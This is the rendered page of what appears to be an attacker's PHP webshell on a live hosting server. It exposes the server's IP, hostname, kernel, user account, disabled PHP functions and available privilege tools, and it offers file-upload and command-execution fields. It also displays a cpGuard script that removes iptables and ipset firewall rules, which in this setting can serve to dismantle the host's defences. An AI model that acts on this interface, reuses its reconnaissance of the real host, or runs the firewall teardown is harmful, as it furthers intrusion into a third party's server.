403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpguard/app/setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpguard/app/setup/clear_ipdb.sh
#!/usr/bin/env bash

# Minimal one-time cleanup of legacy iptables/ipset entries before nftables
# - Detect full paths for iptables and ipset
# - Verify binaries with --version (if unsupported, still proceed)
# - Ignore errors for missing chains/sets; continue regardless

set +e

IPTABLES=$(command -v iptables || true)
IPSET=$(command -v ipset || true)

# Verify binaries (unset if unusable)
if [ -n "$IPTABLES" ]; then
	"$IPTABLES" --version >/dev/null 2>&1 || IPTABLES=""
fi
if [ -n "$IPSET" ]; then
	"$IPSET" --version >/dev/null 2>&1 || IPSET=""
fi

# Safe wrappers: run only if binary is available; suppress errors
ipt() { [ -n "$IPTABLES" ] && "$IPTABLES" "$@" 2>/dev/null || true; }
ips() { [ -n "$IPSET" ] && "$IPSET" "$@" 2>/dev/null || true; }

# blocklist-cpguard chain
ipt -D INPUT -j blocklist-cpguard
ipt --flush blocklist-cpguard
ipt -X blocklist-cpguard

# ipset sets (best-effort destroy)
ips destroy whitelist-cpguard
ips destroy blocklist-cpguard
ips destroy cc-blocklist-cpguard

# dos-cpguard chain
ipt -D INPUT -j dos-cpguard
ipt --flush dos-cpguard
ipt -X dos-cpguard





# Removes any /usr/bin/cpgcli lines from /etc/csf/csfpost.sh

CSFPOST="/etc/csf/csfpost.sh"

# Exit silently if file does not exist
[ ! -f "$CSFPOST" ] && exit 0

# Remove lines containing /usr/bin/cpgcli
# -i.bak keeps a backup copy as csfpost.sh.bak (optional safety)
sed -i.bak '/\/usr\/bin\/cpgcli/d' "$CSFPOST"

# If file is now empty or only contains the shebang, delete it
if [ ! -s "$CSFPOST" ] || grep -qx '#!/bin/bash' "$CSFPOST"; then
    rm -f "$CSFPOST"
else
    chmod 755 "$CSFPOST"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit